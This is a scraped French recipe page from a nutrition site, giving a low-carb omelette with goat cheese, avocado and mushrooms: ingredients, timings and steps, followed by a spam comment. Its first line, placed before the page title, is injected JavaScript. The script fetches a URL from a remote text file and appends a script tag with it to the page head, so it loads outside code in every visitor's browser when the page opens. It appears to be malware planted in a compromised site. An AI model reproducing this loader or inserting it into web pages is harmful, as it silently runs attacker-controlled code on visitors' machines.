;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Omelette kéto chèvre, avocats et champigons – Haute Nutrition
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appel exploratoire
assiette d"omelette champignons avocats
Approuvé par coach Sylvia / DÉJEUNERS / Hormones Rebelles / Protocole IF

Omelette kéto chèvre, avocats et champigons

février 12, 2019

Cette omelette kéto est très consistante, parfait pour les brunch santé ou des déjeuners de sportifs. cette recette est très faible en glucides également

assiette d"omelette champignons avocats

Omelette chèvre, avocat et champignons

3 from 1 vote
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Prep Time 10 mins
Cook Time 15 mins
Total Time 20 mins
Servings 2 portions
Calories 347 kcal

Ingredients
  

  • 4 oeuf
  • 1 c. à soupe lait
  • 1 avocat coupé en dés
  • 2 c. à soupe fromage de chèvre ou fromage végétalien
  • 2 c. à soupe aneth ciselées
  • 200 g champignons

Instructions
 

  • Couper les champignons (tranches) et les avocats (dés)
  • Faire chauffer un peu de beurre dans une poêle et faire revenir les champignons 5 minutes en les retournant. Réserver
  • Battre les oeufs à la fourchette avec lait et ajouter l'aneth ciselée
  • Faire chauffer peu d'huile d'olive dans une poêle 
  • Verser le mélange d'oeufs et laisser cuire quelques minutes. Saler
  • Ajouter sur la moitié de l'omelette les avocats, les champignons sautés, le fromage de chèvre en miettes et l'aneth.
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  • gamefly free trial
    mai 30, 2019

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    Reply

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